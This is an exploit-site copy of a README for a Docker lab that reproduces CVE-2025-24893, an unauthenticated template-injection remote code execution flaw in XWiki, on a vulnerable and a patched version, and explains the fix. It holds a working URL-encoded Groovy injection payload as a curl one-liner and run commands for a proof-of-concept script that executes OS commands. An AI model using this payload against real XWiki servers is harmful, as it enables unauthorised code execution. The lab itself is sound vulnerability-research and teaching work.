Sploitus

Exploit for Eval Injection in Xwiki

githubexploit Β· 2026-08-19

Exploit Code

README182 lines
## https://sploitus.com/exploit?id=A5CA6FDF-5164-5F52-8FAD-3F92B5C03193
# CVE-2025-24893 - XWiki SolrSearch SSTI to unauthenticated RCE

A self-contained Docker lab that reproduces CVE-2025-24893, a Server-Side Template
Injection in XWiki's SolrSearch RSS feed that leads to unauthenticated remote code
execution. It runs the vulnerable version 15.10.10 and the patched version 15.10.11,
so the same request can be shown succeeding on one and failing on the other.

**Note on the use of AI tools.** In preparing this project I made
limited use of two AI assistants --- Anthropic's Claude Opus 4.8 and
DeepSeek-V4-Flash-0731 --- for documentation and approach research, for code review, and
for polishing the wording of the README.md file and of the LaTeX report.
Their contribution was marginal and strictly subordinate to my own decisions.


## 1. Prerequisites

- Docker Engine and Docker Compose v2 (the `docker compose` subcommand, not the old
  `docker-compose` binary). Record the versions for the report with `docker --version`
  and `docker compose version`.
- About 2 GB of free RAM for the XWiki container (the JVM heap is set to 1 GB) plus MySQL.
- Works on amd64 and arm64 (Apple Silicon included): the base image `tomcat:9-jre17`,
  `mysql:8.4`, and the pure-Java JDBC driver are all multi-arch.
- Internet access on the first build only, to download the XWiki WAR and the JDBC driver,
  both checksum-verified.

## 2. Layout

```
cve-2025-24893-xwiki/
β”œβ”€β”€ SETUP_GUIDE.md
β”œβ”€β”€ README.md
β”œβ”€β”€ docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
β”œβ”€β”€ docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (patched)
β”œβ”€β”€ exploit.py                    # standard-library proof of concept
β”œβ”€β”€ figures/
β”‚   β”œβ”€β”€ Figure 1.png
β”‚   β”œβ”€β”€ Figure 2.png
β”‚   β”œβ”€β”€ Figure 3.png
β”‚   └── Figure 4.png
β”œβ”€β”€ mysql/
β”‚   └── init.sql                  # privileges for the xwiki DB user
└── xwiki-build/                  # image build, pinned to the exact version by SHA-256
    β”œβ”€β”€ Dockerfile
    β”œβ”€β”€ tomcat/
    β”‚   └── setenv.sh
    └── xwiki/
        β”œβ”€β”€ docker-entrypoint.sh
        └── hibernate.cfg.xml
```

The only difference between the two stacks is the XWiki version. Everything else, including
the database image and the JDBC driver, is identical, so any change in behaviour is due to
the fix and nothing else.

## 3. Reproduce the vulnerability (15.10.10)

Build and start:

```bash
docker compose -f docker-compose.vuln.yml up --build -d
```

The first build downloads and unpacks XWiki, which takes a few minutes. Wait for Tomcat to
report startup:

```bash
docker compose -f docker-compose.vuln.yml logs -f xwiki   # wait for "Server startup in ..."
```

Finish the one-time first-boot setup: open  and complete the
Distribution Wizard (install the default XWiki Standard flavor). This provisions the
SolrSearch UI that the exploit targets. The endpoint is reachable by guests, so the attack
itself needs no login; this initial setup is the only step that does.

Fire the exploit (unauthenticated):

```bash
python3 exploit.py http://localhost:8080
```

Expected output on the vulnerable stack:

```
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
```

Optionally show that execution reaches the OS with a read-only command:

```bash
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
```

The same request as a plain curl one-liner:

```bash
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42
```

Capture a screenshot of the output for the report, then tear down:

```bash
docker compose -f docker-compose.vuln.yml down          # add -v to also wipe the volumes
```

## 4. Reproduce the fix (15.10.11)

```bash
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki   # wait for "Server startup in ..."
```

Complete the Distribution Wizard again at , then run the identical
exploit:

```bash
python3 exploit.py http://localhost:8080
```

Expected output on the patched stack:

```
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
```

Capture this screenshot too, then reset:

```bash
docker compose -f docker-compose.patched.yml down -v
```

### Why the fix works

In 15.10.10 the feed-output block emits the feed as a bare Velocity expression
(`$xwiki.feed.getFeedOutput($feed, 'rss_2.0')`), so the feed - which reflects the user's
search text - is passed back through XWiki's rendering pipeline, where an embedded `{{groovy}}`
macro gets executed. In 15.10.11 that block is replaced by a call to a new `rawResponse` macro
(`SolrSearchMacros.xml` line 954; the macro is defined in `templates/macros.vm`). `rawResponse`
sets the content type explicitly (`application/rss+xml`), writes the feed bytes straight to the
response with `$response.writer.print(...)`, and calls `$xcontext.setFinished(true)` to stop any
further rendering, so the feed is sent verbatim and the embedded `{{groovy}}` block is never
evaluated. Patch commit `67021db9b8ed26c2236a653269302a86bf01ef40`, advisory
GHSA-rr6p-3pfg-562j. The advisory also gives a manual workaround: edit `Main.SolrSearchMacros`
to use the same `rawResponse` pattern, which closes the sink without upgrading.

## 5. Determinism and reset

- Pinned: the XWiki versions (15.10.10 and 15.10.11), the WAR and JDBC SHA-256 checksums,
  the base image `tomcat:9-jre17`, the database `mysql:8.4`, and the port `8080`.
- Reset state with `docker compose -f  down -v`; the next `up` re-initialises from
  scratch.
- The credentials (`xwiki`/`xwiki`, root `xwiki-root`) are for this local lab only.
- The two stacks use different Compose project names, so their volumes never collide. Do
  not run both at once, since both publish port 8080.

## 6. Verify the pinned checksums yourself

```bash
for V in 15.10.10 15.10.11; do
  curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
  echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
#         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c

curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
```

## Attribution

`xwiki-build/` (Dockerfile, `docker-entrypoint.sh`, `hibernate.cfg.xml`, `setenv.sh`) and
`mysql/init.sql` are adapted or vendored from XWiki's official build,
 (LGPL-2.1). The Dockerfile differs from the
upstream image in three small, documented ways: (1) the XWiki and JDBC version and checksum
are passed as build args, so one file builds both the vulnerable and the patched image; (2) an
explicit `chmod +x` guarantees the entrypoint is executable even if Unix permissions are lost
when the files are unzipped or transferred; and (3) a stale upstream comment referring to a
`.env` file (unused here) was corrected. XWiki is copyright the XWiki Development Team.